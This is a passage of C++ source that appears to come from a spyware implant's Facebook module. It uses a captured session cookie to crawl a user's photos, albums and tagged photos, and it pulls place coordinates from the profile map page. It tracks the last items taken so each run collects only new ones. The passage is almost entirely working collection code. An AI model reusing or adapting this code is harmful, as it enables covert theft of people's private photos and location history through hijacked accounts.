	Description:	crawls from strPageContainingToken and inserts fbids found into hash_head
	Params:			valid Facebook cookie, Facebook user id, page containing PhotoAlbumsAppCollectionPagelet and SinglePhotoAlbumAppCollectionPagelet tokens, pointer to hash head
	Usage:			new fbids are allocated and inserted into hash_head, strPageContainingToken temporarily changed

*/
VOID FacebookPhotoCrawlAlbums(__in LPSTR strCookie, __in LPSTR strUserId, __in LPSTR strPageContainingToken, facebook_photo_id **hash_head)
{
	/* allocations:
		- while looping through the albums, an http request is done for each album. The buffer containing such pages
		  is allocated and free'd each time.
	*/

	/*  
		a] "controller": "PhotoAlbumsAppCollectionPagelet" contains the token needed to fetch the albums
		https://www.facebook.com/profile.php?id=100006576075695&sk=photos&collection_token=100006576075695%3A2305272732%3A6

		b] "controller": "SinglePhotoAlbumAppCollectionPagelet" contains the token needed to later fetch the photo within the albums 
	*/

	LPSTR strParser1, strParser2;
	CHAR chTmp;

	/* a] fetch page containing albums links "albumThumbLink" */
	strParser1 = strstr(strPageContainingToken, "\"PhotoAlbumsAppCollectionPagelet\"");
	if (!strParser1)
	{
		return;
	}
	strParser1 = strstr(strParser1, FBID_TOKEN);

	if (!strParser1)
	{
		return;
	}

	strParser1 += strlen(FBID_TOKEN);

	strParser2 = strstr(strParser1, "\",");
	if (!strParser2)
		return;
	
	/* temporary change strPageContainingToken */
	chTmp = *strParser2;
	*strParser2 = NULL;
	
	LPWSTR strUrlAlbums = (LPWSTR) zalloc_s(URL_SIZE_IN_CHARS * sizeof(WCHAR));
	if (!strUrlAlbums)
		return;

	_snwprintf_s(strUrlAlbums, URL_SIZE_IN_CHARS, _TRUNCATE, L"/profile.php?id=%S&sk=photos&collection_token=%S", strUserId, strParser1);

	/* restore strPageContainingToken */
	*strParser2 = chTmp;

#ifdef _DEBUG
	OutputDebug(L"[*] %S - albums url: %s\n", __FUNCTION__, strUrlAlbums);
#endif

	DWORD dwBuffSize = 0;
	LPSTR strRecvAlbumsBuffer = NULL;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrlAlbums, 443, NULL, 0, (LPBYTE *)&strRecvAlbumsBuffer, &dwBuffSize, strCookie);
	
	/* reusing later in album fetch loop b] */
	SecureZeroMemory(strUrlAlbums, URL_SIZE_IN_CHARS * sizeof(WCHAR) );

	if (dwRet != SOCIAL_REQUEST_SUCCESS)
		return;
	

	/* b] find token "SinglePhotoAlbumAppCollectionPagelet", which is needed in stage c] */
	strParser1 = strstr(strPageContainingToken, "\"SinglePhotoAlbumAppCollectionPagelet\"");
	if (!strParser1)
	{
		return;
	}
	strParser1 = strstr(strParser1, FBID_TOKEN);

	if (!strParser1)
	{
		return;
	}

	strParser1 += strlen(FBID_TOKEN);

	strParser2 = strstr(strParser1, "\",");
	if (!strParser2)
		return;
	
	/* temporary change strPageContainingToken */
	chTmp = *strParser2;
	*strParser2 = NULL;

	LPWSTR strUrlSinglePhoto = (LPWSTR) zalloc_s(URL_SIZE_IN_CHARS * sizeof(WCHAR));
	if (!strUrlSinglePhoto)
	{
		zfree_s(strUrlAlbums);
		zfree_s(strRecvAlbumsBuffer);
		return;
	}

	_snwprintf_s(strUrlSinglePhoto, URL_SIZE_IN_CHARS, _TRUNCATE, L"/profile.php?id=%S&sk=photos&collection_token=%S", strUserId, strParser1);

	/* restore strPageContainingToken */
	*strParser2 = chTmp;

	/* c] loop through each album and fetch all the fbids */

	/*	album urls example: <a class="albumThumbLink uiMediaThumb uiScrollableThumb" href="https://www.facebook.com/media/set/?set=a.1588543974708123.1073741826.100006576075695&amp;type=3" 
		we need only set=*, the remaining is obtained from SinglePhotoAlbumAppCollectionPagelet 	*/
	
	// TODO: limit the number of albums fetched ?

	strParser1 = strRecvAlbumsBuffer;
	while (TRUE)
	{
		strParser1 = strstr(strParser1, "albumThumbLink");
		if (!strParser1)
			break;

		strParser1 = strstr(strParser1, "set/?");
		if (!strParser1)
			break;

		strParser1 += strlen("set/?");

		/* we need to replace &amp;type=3, with &type=3, atm without calling external functions*/

		strParser2 = strstr(strParser1, "&amp;type=");
		if (!strParser2)
			break;
		
		/* albums url contain "type=3" */
		if (strstr(strParser1, "type=3"))
		{

			/* after we've searched type=3 we can null terminate the string */
			*strParser2 = NULL;


			/* b] for each album fetch contained fbids */
			
			
			_snwprintf_s(strUrlAlbums, URL_SIZE_IN_CHARS, _TRUNCATE, L"%s&%S&type=3", strUrlSinglePhoto, strParser1);

			
#ifdef _DEBUG
			OutputDebug(L"[*] %S - album url: %s\n", __FUNCTION__, strUrlAlbums);
#endif

			dwBuffSize = 0;
			LPSTR strRecvThisAlbumBuffer = NULL;
			dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrlAlbums, 443, NULL, 0, (LPBYTE *) &strRecvThisAlbumBuffer, &dwBuffSize, strCookie);
			
			SecureZeroMemory(strUrlAlbums, URL_SIZE_IN_CHARS * sizeof(WCHAR));
			
			/* if there are issues, bail altogether, we'll retry on next run of the PhotoHandler */
			if (dwRet != SOCIAL_REQUEST_SUCCESS)
				break;

			FacebookPhotoExtractFbidsFromPage(strRecvThisAlbumBuffer, hash_head, PHOTOS_ALBUM);
			
			zfree_s(strRecvThisAlbumBuffer);
		}

		/* prepare for next round */
		strParser1 = strParser2 + 1;
	}
	
	/* cleanup */
	zfree_s(strUrlAlbums);
	zfree_s(strRecvAlbumsBuffer);
	zfree_s(strUrlSinglePhoto);
}

/*
	Description:	given a json object containing Facebook places, extracts and packs data into additionalheader and body
	Parameters:		json object, pointer to additionalheader, body that will contain the payload, pointer to size of body, Facebook user id
	Usage:			return true there're data to log, false otherwise. Body is allocated and must be freed by the caller
*/
BOOL FacebookPlacesExtractPositions(__in JSONValue *jValue,  __in LPSTR strUserId, facebook_placeId_to_location **hash_head )
{
	/* pretty much a ripoff of FacebookPlacesExtractPosition(__in JSONValue *jValue, __out location_additionalheader_struct *additionalheader, __out BYTE **body, __out DWORD *blen, __in LPSTR strUserId ):position.cpp */
	
	/* get last place timestamp */
	DWORD dwHighestBatchTimestamp = 0;
	CHAR strUsernameForPlaces[512];
	_snprintf_s(strUsernameForPlaces, sizeof(strUsernameForPlaces), _TRUNCATE, "%s-facebookphotopositions", strUserId);
	DWORD dwLastTimestampLow, dwLastTimestampHigh;
	dwLastTimestampLow = SocialGetLastTimestamp(strUsernameForPlaces, &dwLastTimestampHigh);
	if (dwLastTimestampLow == SOCIAL_INVALID_MESSAGE_ID)
		return FALSE;

	/* get the number of locations */
	JSONObject jRoot = jValue->AsObject();
	if (jRoot.find(L"jsmods") != jRoot.end() && jRoot[L"jsmods"]->IsObject())
	{
		JSONObject jJsmods = jRoot[L"jsmods"]->AsObject();

		if (jJsmods.find(L"require") != jJsmods.end() && jJsmods[L"require"]->IsArray())
		{
			JSONArray jRequire = jJsmods[L"require"]->AsArray();

			if ( jRequire.size() > 0 && jRequire.at(0)->IsArray())
			{
				JSONArray jTmp = jRequire.at(0)->AsArray();
				if (jTmp.size() > 3 && jTmp.at(3)->IsArray())
				{
					JSONArray jTmp2 = jTmp.at(3)->AsArray();

					if (jTmp2.size() > 1 && jTmp2.at(1)->IsObject())
					{
						JSONObject jObj = jTmp2.at(1)->AsObject();
						

						/* jObj contains:
						"stories":[ array with timestamps ],
						"places":[ array with places ],
						"count":4, // number of different places
						"_instanceid":"u_0_44"
						*/

						if ((jObj[L"places"]->IsArray() && jObj[L"places"]->IsArray()) && (jObj[L"stories"]->IsArray() && jObj[L"stories"]->IsArray()))
						{
							JSONArray jPlaces = jObj[L"places"]->AsArray();
							JSONArray jStories = jObj[L"stories"]->AsArray();

							/*  stories element example: {"timestamp":1418910342, .. ,"placeID":133355006713850, ..  }
								places element example:  {"id":133355006713850, "name":"Isle of Skye, Scotland, UK","latitude":57.41219383264, "longitude":-6.1920373066084,"city":814578, "country":"GB"   } 
							*/

							/* loop through stories, for each story find the corresponding place and set the gps record (suboptimal..) */
							for (DWORD i=0; i<jStories.size(); i++)
							{
								if (!jStories.at(i)->IsObject())
									continue;

								UINT64 current_id;
								time_t time = 0;

								/* extract story id and timestamp */
								JSONObject jStory = jStories.at(i)->AsObject();
								if (jStory.find(L"placeID") != jStory.end() && jStory[L"placeID"]->IsNumber())
								{
									current_id = (UINT64) jStory[L"placeID"]->AsNumber();
								}
								
								if (jStory.find(L"timestamp") != jStory.end() && jStory[L"timestamp"]->IsNumber())
								{
									 time = (time_t) jStory[L"timestamp"]->AsNumber();
								}

								
								/* save the most recent timestamp for this batch */
								if (time > dwHighestBatchTimestamp)
									dwHighestBatchTimestamp = time;
								
								/* if it's recent save it otherwise skip this record */
								if (time <= dwLastTimestampLow)
									continue;

								/* find place id in places: suboptimal version loop through each time */
								for (DWORD j=0; j<jPlaces.size(); j++)
								{
									if (!jPlaces.at(j)->IsObject())
										continue;

									UINT64 tmp_id;

									JSONObject jPlace = jPlaces.at(j)->AsObject();
									if (jPlace.find(L"id") != jPlace.end() && jPlace[L"id"]->IsNumber())
									{
										tmp_id = (UINT64) jPlace[L"id"]->AsNumber();

										if (tmp_id == current_id)
										{
											/* got our guy, fill a gps position record */

											if (jPlace.find(L"latitude") != jPlace.end() && jPlace[L"latitude"]->IsNumber() &&
												jPlace.find(L"longitude") != jPlace.end() && jPlace[L"longitude"]->IsNumber())
											{
#ifdef _DEBUG
												OutputDebug(L"[*] Got %I64u lat long\n", tmp_id, jPlace[L"latitude"]->AsNumber(), jPlace[L"longitude"]->AsNumber());
#endif
												facebook_placeId_to_location *placeId_new = (facebook_placeId_to_location*) zalloc_s(sizeof(facebook_placeId_to_location));
												placeId_new->placeId = tmp_id;
												placeId_new->latitude =  (FLOAT) jPlace[L"latitude"]->AsNumber();
												placeId_new->longitude = (FLOAT) jPlace[L"longitude"]->AsNumber();

												facebook_placeId_to_location *placeId_tmp = NULL;
												HASH_FIND(hh, *hash_head, &placeId_new->placeId, sizeof(UINT64), placeId_tmp);
												
												if (placeId_tmp == NULL) 
													HASH_ADD(hh, *hash_head, placeId, sizeof(UINT64), placeId_new);
												else
													zfree_s(placeId_new);
											}			

											break;
										} //if (tmp_id == current_id)
									} //if (jPlace.find(L"id") != jPlace.end() && jPlace[L"id"]->IsNumber())
								} //for (DWORD j=0; j<jPlaces.size(); j++)
							} //for (DWORD i=0; i<jStories.size(); i++)


							/* save the highest timestamp in the batch */
							if (dwHighestBatchTimestamp > dwLastTimestampLow)
								SocialSetLastTimestamp(strUsernameForPlaces, dwHighestBatchTimestamp, 0);

						} //if ((jObj[L"places"]->IsArray() && jObj[L"places"]->IsArray())
					} //if (jTmp2.size() > 1 && jTmp2.at(1)->IsObject())
				}
			}
		}
	}

	/* 	true if *body is not null, otherwise false */
	return TRUE;
}

VOID FacebookPhotoFetchPlaceIdToCoordinate(__in LPSTR strCookie, __in LPSTR strUserId, facebook_placeId_to_location **idToLocation)
{
	/* pretty much a ripoff of FacebookPositionHandler(LPSTR strCookie):position.cpp */
	LPSTR strParser1, strParser2;
	

	LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
	_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/profile.php?id=%S&sk=map", strUserId);
	
	LPSTR strRecvBuffer = NULL;
	DWORD dwBuffSize;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); 

	zfree_s(strUrl);

	if (dwRet != SOCIAL_REQUEST_SUCCESS)
	{
		zfree(strRecvBuffer);
		return;
	}

	/* find the snippet of json we're interested in and give it to the parser */
	strParser1 = strstr(strRecvBuffer, "{\"display_dependency\":[\"pagelet_timeline_medley_inner_map\"]");
	if (!strParser1)
	{
		/* cleanup */
		zfree_s(strRecvBuffer);
		return;
	}

	strParser2 = strstr(strParser1, "})");
	*(strParser2+1) = NULL;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - position json: %S\n", __FUNCTION__, strParser1);
#endif

	LPSTR strJson = strParser1;

	JSONValue *jValue = JSON::Parse(strJson);
	if (jValue != NULL && jValue->IsObject())
	{
		FacebookPlacesExtractPositions(jValue, strUserId, idToLocation);
	}

	/* cleanup */
	zfree_s(strRecvBuffer);

	if (jValue)
		delete jValue;

	return;
}


/*
	Description:	Facebook photo handling entry point, extracts Facebook photos and its metadata
	Params:			cookie needed to log into Facebook
	Usage:			-

*/
DWORD FacebookPhotoHandler(__in LPSTR strCookie)
{
	/*	allocations:
			- items of hash_head are allocated by the crawling functions and freed in the handle loop
			- strSocialUsername_* allocated and free'd before the handle loop
	*/



	/* hash declaration */
	facebook_photo_id *hash_head = NULL;
	
	LPSTR strUserId, strScreenName;


	if (!ConfIsModuleEnabled(L"photo"))
		return SOCIAL_REQUEST_SUCCESS;


	if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
		return SOCIAL_REQUEST_NETWORK_PROBLEM;

	
	/*  0] fetch Photo page, e.g.:
		https://www.facebook.com/profile.php?id=100006576075695&sk=photos

		- get collection_tokens, the tidbit in the URL that differentiate between Photos of You, Your Photo and Albums 
	    - from each page collect the fbid, which identifies a photo univocally
	*/

	LPWSTR strUrl = (LPWSTR) zalloc_s(URL_SIZE_IN_CHARS *sizeof(WCHAR));
	if (!strUrl)
		return SOCIAL_REQUEST_NETWORK_PROBLEM;

	_snwprintf_s(strUrl, URL_SIZE_IN_CHARS , _TRUNCATE, L"/profile.php?id=%S&sk=photos", strUserId);

	LPSTR strRecvBuffer = NULL;
	DWORD dwBuffSize;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie);
	
	zfree_s(strUrl); 
	

	if (dwRet != SOCIAL_REQUEST_SUCCESS)
	{
		zfree_s(strScreenName);
		zfree_s(strUserId);
		return SOCIAL_REQUEST_BAD_COOKIE;
	}

	
	/* 1] Your Photos */
	// N.B.:
	// - must stay on top, since it will avoid any clash with fbids
	FacebookPhotoCrawlYourPhotos(strCookie, strUserId, strRecvBuffer, &hash_head);

	/* 2] Photos of You */
	FacebookPhotoCrawlPhotosOfYou(strCookie, strUserId, strRecvBuffer, &hash_head);

	/* 3] Albums */
	// photos from album managed by two users are found only in Albums, 
	// N.B.:
	// - it must follow "Your Photos"
	// - some photos posted by other users sharing an album might be missing
	FacebookPhotoCrawlAlbums(strCookie, strUserId, strRecvBuffer, &hash_head);
	

	/* 4] if there are some photos fetch pre-emptively the map pages containing 
		  the mapping place_id -> coordinates */
	facebook_placeId_to_location *idToLocation_hash_head = NULL;

	if (HASH_COUNT(hash_head) > 0 )
		FacebookPhotoFetchPlaceIdToCoordinate(strCookie, strUserId, &idToLocation_hash_head);
		
	/* 5] Once we've collected all the fbids, 'handle' the photos */
	facebook_photo_id *fbid_tmp, *fbid_current;


	// 0 -> PHOTOS_YOURS
	// 1 -> PHOTOS_OF_YOU
	// 2 -> PHOTOS_ALBUM
	DWORD dwMaxItemsPerRun_0 = 30, dwMaxItemsPerRun_1 = 30, dwMaxItemsPerRun_2 = 30;
	DWORD dwCurrentItemsPerRun_0 = 0, dwCurrentItemsPerRun_1 = 0, dwCurrentItemsPerRun_2 = 0;
	UINT64 highestBatchFbid_0 = 0, highestBatchFbid_1 = 0, highestBatchFbid_2 = 0;

	size_t strUsernameSize = strlen(strUserId) + strlen("_photos_1") + 1;
	LPSTR strSocialUsername_0 = (LPSTR) zalloc_s(strUsernameSize);
	LPSTR strSocialUsername_1 = (LPSTR) zalloc_s(strUsernameSize);
	LPSTR strSocialUsername_2 = (LPSTR) zalloc_s(strUsernameSize);

	if (strSocialUsername_0 && strSocialUsername_1 && strSocialUsername_2)
	{
		_snprintf_s(strSocialUsername_0, strUsernameSize, _TRUNCATE, "%s_photos_0", strUserId);
		_snprintf_s(strSocialUsername_1, strUsernameSize, _TRUNCATE, "%s_photos_1", strUserId);
		_snprintf_s(strSocialUsername_2, strUsernameSize, _TRUNCATE, "%s_photos_2", strUserId);

		// get saved highest timestamp  for the three sets
		UINT64 savedHighestBatchFbid_0 = SocialGetLastMessageId(strSocialUsername_0);
		UINT64 savedHighestBatchFbid_1 = SocialGetLastMessageId(strSocialUsername_1);
		UINT64 savedHighestBatchFbid_2 = SocialGetLastMessageId(strSocialUsername_2);
		

		// loop through the 2 sets and select the candidates for each set, i.e. filter
		HASH_ITER(hh, hash_head, fbid_current, fbid_tmp) {

#ifdef _DEBUG		
			OutputDebug(L"[*] %S - found: %I64d\n", __FUNCTION__, fbid_current->fbid);
#endif
			// set PHOTOS_YOURS
			if (fbid_current->dwType == PHOTOS_YOURS)
			{
				if (fbid_current->fbid > savedHighestBatchFbid_0 && 
					dwCurrentItemsPerRun_0 < dwMaxItemsPerRun_0 )
				{
					// handle the photo
					FacebookPhotoHandleSinglePhoto(strCookie, fbid_current, idToLocation_hash_head);
					dwCurrentItemsPerRun_0 +=1;

					// update highest batch fbid in case
					if (fbid_current->fbid > highestBatchFbid_0)
						highestBatchFbid_0 = fbid_current->fbid;

				}
			}
			// set PHOTOS_OF_YOU
			else if (fbid_current->dwType == PHOTOS_OF_YOU)
			{
				if (fbid_current->fbid > savedHighestBatchFbid_1 && 
					dwCurrentItemsPerRun_1 < dwMaxItemsPerRun_1 )
				{
					// handle the photo
					FacebookPhotoHandleSinglePhoto(strCookie, fbid_current,  idToLocation_hash_head);
					dwCurrentItemsPerRun_1 +=1;

					// update highest batch fbid in case
					if (fbid_current->fbid > highestBatchFbid_1)
						highestBatchFbid_1 = fbid_current->fbid;
				}
			}
			// set PHOTOS_ALBUM
			else if (fbid_current->dwType == PHOTOS_ALBUM)
			{
				if (fbid_current->fbid > savedHighestBatchFbid_2 && 
					dwCurrentItemsPerRun_2 < dwMaxItemsPerRun_2 )
				{
					// handle the photo
					FacebookPhotoHandleSinglePhoto(strCookie, fbid_current,  idToLocation_hash_head);
					dwCurrentItemsPerRun_2 +=1;

					// update highest batch fbid in case
					if (fbid_current->fbid > highestBatchFbid_2)
						highestBatchFbid_2 = fbid_current->fbid;
				}
			}
		
			// remove the photo from the hash
			HASH_DEL(hash_head, fbid_current);
			zfree_s(fbid_current);
		}

		// update highest fbid if needed
		if (highestBatchFbid_0 > savedHighestBatchFbid_0)
			SocialSetLastMessageId(strSocialUsername_0, highestBatchFbid_0 );

		if (highestBatchFbid_1 > savedHighestBatchFbid_1)
			SocialSetLastMessageId(strSocialUsername_1, highestBatchFbid_1 );
	
		if (highestBatchFbid_2 > savedHighestBatchFbid_2)
			SocialSetLastMessageId(strSocialUsername_2, highestBatchFbid_2 );

		// free facebook_placeId_to_location *idToLocation
		facebook_placeId_to_location *placeId_tmp, *placeId_current;
		HASH_ITER(hh, idToLocation_hash_head, placeId_current, placeId_tmp)
		{
			HASH_DEL(idToLocation_hash_head, placeId_current);
			zfree_s(placeId_current);
		}


		zfree_s(strSocialUsername_0);
		zfree_s(strSocialUsername_1);
		zfree_s(strSocialUsername_2);
	}
	

	/* cleanup */
	zfree_s(strScreenName);
	zfree_s(strUserId);
	zfree_s(strRecvBuffer);
	
	return SOCIAL_REQUEST_SUCCESS;
}

